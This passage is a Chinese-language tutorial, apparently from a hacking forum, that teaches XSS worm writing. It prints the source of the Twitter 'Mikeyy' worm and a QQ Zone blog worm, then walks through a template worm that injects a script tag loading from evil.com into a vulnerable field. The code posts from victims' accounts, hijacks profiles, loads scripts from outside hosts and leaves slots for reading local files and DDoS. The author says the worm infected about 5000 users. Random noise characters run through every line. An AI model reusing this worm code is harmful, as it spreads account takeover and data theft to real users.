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9. randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy."; , ?) R; r: I0 X* C
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10. randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";
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11. randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";
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12. randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";
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13. randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy."; # |3 W+ B) k+ }1 c
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14. randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy."; , c: X5 M: i0 q- Y+ U' `
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15. randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";
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16. randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy."; 3 J7 T) t# v# n, z; f
: Q3 l+ k3 q: T2 [, I6 |& Z9 e 17. randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";
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) i* W d9 g* n* L 18. randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";
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/ O3 L3 V1 z3 _: \( i( V 19. randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy."; 6 B V4 a1 ~, I4 f6 |5 N( q
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20. randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy."; " J* G1 V. w V2 H) T1 ~
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21. randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";
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6 g7 N* G* P* p3 }. t# b; d; a 22. randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF"; ! N! s. ^1 X" K! Y4 f0 @
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23. randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe"; / M2 x" I1 ]" q5 C% n# u- A
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! M0 @# y3 I# G5 U+ b 25. var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];
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26. var updateEncode=urlencode(randomUpdate[genRand]);
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x$ J/ O4 h9 q# K3 c1 e, i$ D 27.
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28. var ajaxConn= new XHConn(); + q0 A4 S; i2 D6 ?5 l& ]
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29. ajaxConn.connect("/status/update"," OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");
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30. var _0xf81bx1c="Mikeyy";
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31. var updateEncode=urlencode(_0xf81bx1c); % z8 t% x2 `$ V* y$ y, T
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32. var ajaxConn1= new XHConn();
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5 O1 V0 h; {: z* Y5 ? 33. ajaxConn1.connect("/account/settings"," OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");
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% v9 U) c* A: W1 R8 q 34. var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333"; ( K& t2 a/ w5 w- ?
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35. var XSS=urlencode(genXSS);
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36. var ajaxConn2= new XHConn();
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37. ajaxConn2.connect("/account/profile_settings","" OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");
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40. setTimeout(wait(),5250); ) b, [$ `$ C* |
复制代码QQ空间XSSfunction killErrors() {return true;}' B/ v5 p; \* G( `
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window.onerror=killErrors;. p! Y* y! L' F9 R
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var shendu;shendu=4;: p4 s& g1 B: z0 E5 e2 J
4 M z$ Q- j- t& ?1 X, b' }//---------------global---v------------------------------------------" v# |5 G3 D" ]
8 \1 r) F" l8 Q* l% v//通过indexOf函数得到URL中相应的字符串,用于判断是否登录的吧?$ a" r6 w% ?/ i! O
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var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";8 Q" `4 ?" V9 a! ~! [9 F
0 A% U& j* B1 c6 z3 [8 k7 s& v0 Lvar myblogurl=new Array();var myblogid=new Array();
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var gurl=document.location.href;
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var gurle=gurl.indexOf("com/");7 s' Y, z. A' |$ j9 l# H
/ m. p. g7 x4 v8 u. ^# U gurl=gurl.substring(0,gurle+3);
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var visitorID=top.document.documentElement.outerHTML;
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" g0 ?0 t& O W. C: y; G3 A$ d var cookieS=visitorID.indexOf("g_iLoginUin = ");
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1 ^( }. p4 T$ l; F* u9 c# m p visitorID=visitorID.substring(cookieS+14);
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, c" E6 b1 N. k$ h! G% k B* \: ? cookieS=visitorID.indexOf(",");3 y; n- D+ K5 y3 O2 L0 W' h
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visitorID=visitorID.substring(0,cookieS);( }/ ^0 L; X' M( J
" x) E7 }4 O( u* C \ q/ A get_my_blog(visitorID);4 Z' W5 I! b, k, P g. H7 ~" x
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DOshuamy();
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y8 G! B q" T7 Z+ g//挂马9 g$ H* a9 ]( [ f0 b- l* f) |
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function DOshuamy(){6 B* o" W( J$ B X
R7 \5 S1 B( s( G9 Q8 kvar ssr=document.getElementById("veryTitle");
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ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
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//如果创建XMLHttpRequest成功就跳到指定的URL去,这个URL是干什么的就不知道了,没看过,刷人气?
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( e/ @! @& X e% K' xfunction get_my_blog(visitorID){: H9 @6 E4 R( s% T# F
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userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";5 C) L' `( v( _7 j8 o0 t0 Y8 p
; F0 }, q6 s% k1 H9 A M4 b! |) X& n xhr=createXMLHttpRequest(); //创建XMLHttpRequest对象) Q4 `" b9 i7 ~& u3 n0 c8 B- U
) z& R5 q& Z$ M if(xhr){ //成功就执行下面的+ N Y; ]& X4 I J3 c
4 C/ S" D6 h8 h' D xhr.open("GET",userurl,false); //以GET方式打开定义的URL
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xhr.send();guest=xhr.responseText;+ i% y( p2 L8 A
! h, s; y( U) o$ a9 d# w9 d2 ~1 a get_my_blogurl(guest); //执行这个函数
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//这里似乎是判断没有登录的: E G* l6 _/ P( y; D3 M6 P- [) I
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function get_my_blogurl(guest){% [0 x0 p' ?. ]4 y
& V- v" ?$ p+ r) @6 q+ b var mybloglist=guest;8 m( _( K5 V% s
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var myurls;var blogids;var blogide;) C& s- W. h* h- U
b5 O) f! K9 ?3 _3 ^ for(i=0;i<shendu;i++){
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0 G4 l& e, Z6 P6 x myurls=mybloglist.indexOf('selectBlog('); //查找URL中"selectBlog"字符串,干什么的就不知道了
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if(myurls!=-1){ //找到了就执行下面的2 r% A; a1 p: |% Y! Q0 u
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mybloglist=mybloglist.substring(myurls+11);
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: z4 [ ^ A3 }7 d myurls=mybloglist.indexOf(')');' ]" v; X) _- P9 v( p( I
4 [9 E& C9 l4 {8 W myblogid=mybloglist.substring(0,myurls);
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+ v+ N) H2 Y$ [ }else{break;}8 X# d+ Y1 l' W& j. ~
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}, d& r. j3 U# ~/ |. O4 \3 t
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get_my_testself(); //执行这个函数
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}
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//这里往哪跳就不知道了 ^) Z7 b* v! T2 N, x
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function get_my_testself(){: X! k4 M" r; e% g0 e+ D" z' o
1 g/ ~ I) ~ V$ x for(i=0;i<myblogid.length;i++){ //获得blogid的值
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var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();3 w$ I7 X, b3 k5 I. d
) }/ j" ?4 e' r/ h2 @7 B" J var xhr2=createXMLHttpRequest(); //创建XMLHttpRequest对象
: [# J( L9 o; G% O
& H p. |: }. M, @ if(xhr2){ //如果成功
- U" A% M8 I7 Y% A) U
- i: k% ?8 e3 ]+ S3 Y xhr2.open("GET",url,false); //打开上面的那个url6 c9 c1 T- b* v
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xhr2.send();2 V. R/ ?6 U* w5 ~% n2 m. J3 M
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guest2=xhr2.responseText;1 H! `% B% q! \8 O" t
3 x% I# V$ q8 c# J- ~- q var mycheckit=guest2.indexOf("baidu"); //找"baidu"这个字符串,找它做什么?/ t) F8 x& K: Q: t3 I) w5 x$ ?1 x2 `7 a
& ^! B' ?5 B j$ \ K
var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
* Z5 l% e/ p; |( z( R3 Y u* k4 u
$ [, {2 D# w) S, L if(mycheckmydoit!="-1"){ //返回-1则代表没找到
5 r" {( O8 o% z% \( _* _+ p, m& n# \4 i" e
targetblogurlid=myblogid;
+ { ^( m: }! m6 U) t
$ X5 x5 c& U9 w: k; ~ add_jsdel(visitorID,targetblogurlid,gurl); //执行它$ V* @# M6 D' w- y! y
e; x4 A ?) @ break;; b$ f& q4 ]. T3 P: g' f
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* K( ^$ B y, s) k9 @) e
if(mycheckit=="-1"){
' P0 T1 S. {4 L: f8 I
1 ?; H4 ^3 F/ H, B+ k; d targetblogurlid=myblogid;8 Q1 R( d1 O; z( L h/ f
- Z2 R7 M; C( `" R
add_js(visitorID,targetblogurlid,gurl); //执行它
T7 x% |- U7 u( ? J; z4 M
: l# C/ }2 ~) n; k; S break;
) A) M# N) ~. B
- S- h# i7 c% Q0 B }
' G0 Y. G1 a1 K& P i
( {2 S2 ~5 D0 Q }
& m8 [ c8 e8 s- x3 r; f" c
2 {0 _( E- c% |' o# b& ~' W}% W ?* y- O- o+ ]6 s9 Q! e
7 M) t- |4 [3 |! w( U1 B6 u; {
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2 [& A& F% R6 u- S5 [- p. J. {) C+ C, \! N: U
//-------------------------------------- - S. }! J; C' p+ d4 x; o( v7 O
' }2 Y. c. c: y* C2 V l1 l; [//根据浏览器创建一个XMLHttpRequest对象
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7 R' m, M: I+ h9 g$ v7 Nfunction createXMLHttpRequest(){
; F7 P2 j/ G3 m1 W* `& [% t5 J1 a. z2 c
0 ]% R0 ^! T5 \0 X& D var XMLhttpObject=null; # v* {6 Q' Y/ ?1 G! Z6 A% U9 t* n
/ x' _8 \: e% C$ [0 j s if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()} ( o9 W, \; e+ p# G) E
: D5 R0 Z$ N* [6 j' m( [9 L* G else * ^4 U% f+ @" J6 `
- P+ ^ H( i/ h$ s9 d& z: ?
{ var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];
& l. ~- t7 Y5 T" Y& X8 f
+ |( d: i x/ c for(var i=0;i<MSXML.length;i++)
2 J1 v1 h9 g D
. W* j1 P* c! {6 `. N* Y {
0 u s; h; E7 N. N1 l5 i
5 Y5 H# X: S8 g4 R try , O$ v( H) u p) t$ Q/ w
- b4 i- G. z0 \1 `5 T
{ ; I! B- Z1 P6 b, ?
$ d4 S7 Y0 U0 h9 ^
XMLhttpObject=new ActiveXObject(MSXML);
& j3 B& ?: u( l0 j3 g5 j4 {% O! R' g1 @
break; - W8 t8 r1 Z. U6 ^. u. A
) [0 y9 ~/ p8 e3 N6 `
}
4 v2 }7 ?8 B9 B- {) D( G6 d, s/ V
catch (ex) {
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& c) i) B; a& P1 B } / W6 A# U3 u2 y7 A
, F2 q1 \7 G% X e: C3 h; b2 x7 H
} - C' v$ e% t8 t
& [* m- [) @* c! X" H4 Q4 |2 g+ L
}
+ C) g1 j* T5 V/ m5 [
) D2 y4 x& K" H9 H# `" X8 o/ ereturn XMLhttpObject;. _5 b* x4 M1 V- F
I! n2 ?: s! S! l" `) c
}
, D5 H J. ]0 d* P9 u/ x% J( \$ \/ a, \1 {6 ]/ B4 i+ t* l* V9 L' S: O- m
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; K, H3 g4 e" _9 H
//这里就是感染部分了% B& b9 U5 r! ]- y: q
6 U( S2 `7 |; \* V
function add_js(visitorID,targetblogurlid,gurl){
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var s2=document.createElement('script');
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s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
: g' D6 k! k+ q, Z
1 _9 \. f/ w" x, y0 l9 \s2.type='text/javascript';
]* U8 B# ~# U" [7 u3 B# b% @* S$ Y# @7 u
document.getElementsByTagName('head').item(0).appendChild(s2);' Z3 L' O- U7 y1 \
/ \% L, H, @& J% h
}
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function add_jsdel(visitorID,targetblogurlid,gurl){
2 e& K8 B1 F6 f" w4 B; Z |; c& L! d! t3 ~1 v
var s2=document.createElement('script');) U3 q1 C* I/ X: }
6 p2 @- z' H& [0 Ms2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
" H) L& H& i1 {$ ]: M: J& T% ]. G6 V; \7 {5 f: g' i" a$ x+ c+ |
s2.type='text/javascript';
8 V+ g; ?( r7 J) `0 c/ V* p7 K
5 y0 y4 g% [/ a3 l' l% D' vdocument.getElementsByTagName('head').item(0).appendChild(s2);
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}8 u9 c6 r4 t) h- `) u: a
复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
) ^7 r! m+ F, Y4 B [1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
& M4 @; i9 U$ \5 A( [" R. v2 @+ O! Q% s
" t! ?% O0 m' x+ f) x2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)3 o6 q. L6 j' D7 p0 D& R9 r
. t. I. l+ N+ o3 m, Q
综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~8 |% `* F: E/ D8 S* `; n# m. T
! Y6 k' o/ q. d' p7 Z, u ?8 `$ I, P8 n4 y7 A. a2 F
下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.4 M, d0 I& ]* j/ A! h$ U/ O% X
% N' S. Z' r% n% E q0 C
首先,自然是判断不同浏览器,创建不同的对象var request = false;
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if(window.XMLHttpRequest) {
* U6 q$ P5 y# f( q" S# B/ n+ b- `: t! E+ A. t+ S, v( Y
request = new XMLHttpRequest();
3 v4 K% `3 V5 Z r
8 V. l- L$ T0 M: hif(request.overrideMimeType) {, |, T( Z1 l1 c- f
; E% [1 a0 h5 U* L
request.overrideMimeType('text/xml');
# o, v Q! B, Q) f: x# b- u
/ P1 F5 s: S, n" l& L- A}
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} else if(window.ActiveXObject) {
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];4 K( e/ g. A0 y
+ e9 E5 H4 }+ dfor(var i=0; i<versions.length; i++) {+ _! u8 U! I$ ?
8 o4 [- v# F0 W; ` f
try {
! ]9 Z; n) y0 c9 {" O" ^# j u
9 W3 p- n8 h8 c, S* A/ M( Drequest = new ActiveXObject(versions);
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} catch(e) {}
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) T: V; D% q% A. o1 X0 n- x3 m. F}
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xmlHttpReq=request;
8 m0 `# ]* R' J7 V2 D% p7 e* H复制代码可以此时添加判断浏览器具体型号和版本: function browserinfo(){
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var Browser_Name=navigator.appName;
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var Browser_Version=parseFloat(navigator.appVersion);0 @6 o: z. ?) g3 M
9 c1 ^# E; [% \, p
var Browser_Agent=navigator.userAgent;$ V5 S7 u# E, X- y& W+ n5 @$ _
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* z2 N: j5 U# R) W3 K8 _
4 |: P7 K7 L1 g* z* C7 f var Actual_Version,Actual_Name;
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0 p" w* G( s, t9 n$ i# a W: k0 j5 l, O
var is_IE=(Browser_Name=="Microsoft Internet Explorer");* Y6 B: P$ t! `3 T) Q1 R" I
9 p* S$ ~2 L/ o2 `" q- M var is_NN=(Browser_Name=="Netscape");
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var is_Ch=(Browser_Name=="Chrome");
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' N7 [9 _* @1 H) j) H+ o" A0 X5 b. ], m) F1 @' y( S4 O* ]3 Z9 z
if(is_NN){
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if(Browser_Version>=5.0){
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var Split_Sign=Browser_Agent.lastIndexOf("/");
/ Y! l L ]$ t9 a& M) V0 {
# b* L$ p6 X9 O. b6 Y var Version=Browser_Agent.indexOf(" ",Split_Sign);
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var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
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+ r; V. |1 o4 g, Z4 @
Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);3 @% V# g# {- L8 T) V
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Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);4 A9 i. |5 H, U3 N
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9 q* F% k) m7 [% l5 B5 ?
else{
+ M6 f- Y5 _7 F7 j
7 |+ s5 E9 E0 g0 K8 u4 X& i Actual_Version=Browser_Version;
7 Z. R, `. N4 O) ^& @- Z
- i, y0 G# X6 W- o- u7 Q5 z7 r Actual_Name=Browser_Name;
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2 n" Z9 D R J" e# S' ]# o0 R }
6 [5 i( R, W: L- I m7 s/ h
* b$ r! q& y& |4 G; t$ q }
9 d9 j5 k: l! o6 S3 o2 A6 S {$ y& i& ~0 a$ V5 p/ M# }
else if(is_IE){$ O n' @. n' m6 I7 |; |/ N# t
: w0 k3 h' f( |3 w9 F8 H- d
var Version_Start=Browser_Agent.indexOf("MSIE");; z) g* u7 R: N/ G" D& L
; \ Q) g! ~6 t# C) o/ r var Version_End=Browser_Agent.indexOf(";",Version_Start);( e b% ^# R& R5 @, s9 i/ T- J ], \
5 A2 w1 w/ G m; n; \- _1 | Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
4 V% g3 A& }" z5 a
m4 S+ ?, X: Y5 s( L- L Actual_Name=Browser_Name;3 q* a+ i6 R7 y& T4 U3 Z0 g9 t+ q/ X9 {
- _+ X6 @9 n' ]" Q5 B
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, E. S+ z# v4 a if(Browser_Agent.indexOf("Maxthon")!=-1){% f" p+ \" f9 u$ V
( R! P; i9 v4 s" X! F Actual_Name+="(Maxthon)";* T* o- C* |( y) L" U, P" n2 M
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1 c7 j [( W% q2 H( p; w
else if(Browser_Agent.indexOf("Opera")!=-1){' g8 u0 }6 H. k W8 p) t( a7 ~( S
& o" j# |5 d s* y3 K9 Z7 N8 Q Actual_Name="Opera";
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var tempstart=Browser_Agent.indexOf("Opera");
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var tempend=Browser_Agent.length;
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Actual_Version=Browser_Agent.substring(tempstart+6,tempend), G! z7 e h1 W" a8 x
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+ H0 W! \$ d$ a9 N2 x! x; Q, h/ P }
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/ X* ^7 ^0 g+ G) z6 o else if(is_Ch){
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var Version_Start=Browser_Agent.indexOf("Chrome");( J4 q1 T/ k8 x8 t
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var Version_End=Browser_Agent.indexOf(";",Version_Start);; Q- w# v; b* }, x% r( z8 K
1 X' I8 i6 a: H9 t) r* x4 { Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
; J4 B2 u, T2 ?9 x) u* f c
$ S& W7 j& c3 L. c# u Actual_Name=Browser_Name;
" K+ A" k( a" o2 a/ D) T- t' u. d
5 P4 |% Z3 r& U* m# Y$ v 8 z7 u& D9 d/ l. f6 Z$ W
1 M' B7 ?8 F% A7 m6 V+ ^4 b/ P if(Browser_Agent.indexOf("Maxthon")!=-1){
2 X4 C# u9 e, B' A4 l3 V7 Y4 T- N& P/ _
Actual_Name+="(Maxthon)";9 b3 ~! T+ d4 G+ L* ]$ |+ Y
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}" P1 J4 s9 b: q& E- ]
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else if(Browser_Agent.indexOf("Opera")!=-1){7 Z9 K) \+ s9 R. F
+ ?* @/ g9 Q' g, \0 |- S9 t' t
Actual_Name="Opera";
! l4 J1 b% E2 L3 H$ H& A) x/ m% W2 Q6 s$ C. [
var tempstart=Browser_Agent.indexOf("Opera");
# y9 i" d, @8 J3 h# ~4 _9 r& Q6 f/ l u
var tempend=Browser_Agent.length;
% v. p$ E2 b* W9 N$ x
9 U, H' v. i/ A- A' q$ ~ Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
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}! y9 X2 |) n4 V
# @' f. Z! u; }- {
}
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else{
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Actual_Name="Unknown Navigator"
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! T9 C, V: T! @% C [) X Actual_Version="Unknown Version"
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( x- t. n! ?- j" z* O1 a/ o6 M; j" q3 S, b! D
# s: `& \5 S, q- d8 p9 n* F
navigator.Actual_Name=Actual_Name;3 L# x4 O. A0 L7 _4 |* V( ^3 d
, W1 J4 Y; L9 m8 t
navigator.Actual_Version=Actual_Version;* V$ K+ F. d# L
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' Y# G) e; I& M' ~# x$ Y
: {) S4 }$ D0 Q this.Name=Actual_Name;
; n$ c) b8 s1 ~6 U% \7 _
' A" ^( [/ b3 z: } this.Version=Actual_Version;
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% I% x, @4 h& T6 p1 |2 m$ S }- o' Q2 M+ s1 F9 j5 B3 y; C$ y7 Q
+ [- D3 _' g# h6 C# e& w
browserinfo();
; {1 b' s u& R! s2 Q0 O& D; n% T* [$ T9 L
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}& D, K' n0 c" G8 C; p
/ G" W, H; I. {+ T9 J if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
+ x. y! @/ W p1 h3 Q7 M7 L% }" C# W8 s) j
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}+ s; N' U( `. @8 D+ g
( H9 j) s' V2 {" i/ j4 N9 h
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
) [& U1 m9 ^* d6 K2 P, L4 o复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码- T6 o& f& g' |/ ~# V, {5 ]" A, P
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码$ i% c; h* b8 e+ K6 i8 t
复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false); //读取某页面.
4 C6 L0 G( e! |: c# `, R% h4 c( T$ ^5 k8 x1 o, c0 L
xmlHttpReq.send(null);
7 ]/ L" P6 r: ^( B: r
+ E% r/ \( g9 D. ]var resource = xmlHttpReq.responseText;# e6 \& B, P# Z
7 c9 T5 m0 q8 D* tvar id=0;var result;# @. h7 }) I. c2 P! E C2 {
$ w1 L( i* q5 _, D: b" ^7 k" X( s; ]var patt = new RegExp("bugbug.js","g"); //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.- z. K, M: K) B' E
: b* Y, X9 }' d9 lwhile ((result = patt.exec(resource)) != null) {
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id++;
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}
9 ^1 b7 T4 `6 f5 p; G4 ?% O复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){ //这里我们假设要求那个页面蠕虫的数量要有2只.* n+ V9 h7 |4 t z4 A
4 y: W4 M) B( y( w: I* o# x( `no=resource.search(/my name is/);
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var wd='<script src="http://www.evil.com/bugbug.js"</script>'; //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
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var post="wd="+wd;
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8 B* ]& _$ q! j0 W' NxmlHttpReq.open(" OST","http://www.vul.com/vul.jsp",false); //把感染代码 POST出去.
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3 G3 Z: A5 [$ E9 h ZxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*"); g m# h& @* @. L# ^+ `; P2 k
+ T1 q, o5 p% u3 K/ O6 SxmlHttpReq.setRequestHeader("content-length",post.length); 5 P0 O7 L& J2 u3 \
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xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");7 U! D" |! }1 j/ Z# Q1 U
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xmlHttpReq.send(post);
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}
$ x$ M' p" @' C" q' T复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{4 m9 \; k G! G) |7 U- [
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var no=resource.search(/my name is/); //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方
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' A: r- f' R0 U+ gvar namee=resource.substr(no+21,5); //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.4 \: s3 N7 X. ~( | p
! K4 S' o+ G( B Y( r; vvar wd="Support!"+namee+"<br>"; //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
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var post="wd="+wd;- q" o0 {, C( P0 D' Z
* U. J' a& M7 ExmlHttpReq.open(" OST","http://vul.com/vul.jsp",false);
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xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");3 e! h6 h! W5 @: {# c$ e
, U5 a" f. X J! ?/ y2 pxmlHttpReq.setRequestHeader("content-length",post.length);
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xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
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8 K2 v7 Z+ W$ w; ~6 }xmlHttpReq.send(post); //把传播的信息 POST出去.7 a7 j: ^3 s! j$ j
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+ X" b5 d) g/ d. d复制代码-----------------------------------------------------总结-------------------------------------------------------------------
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本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
0 E7 S2 w, g9 L蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
. f# n( N; Q" R操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
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本文引用文档资料:, B3 q7 w5 R1 b; ^
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"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
* | J2 P" ]- @; Y" KOther XmlHttpRequest tricks (Amit Klein, January 2003)) u/ l9 ?9 j D& O2 `
"Cross Site Tracing" (Jeremiah Grossman, January 2003)
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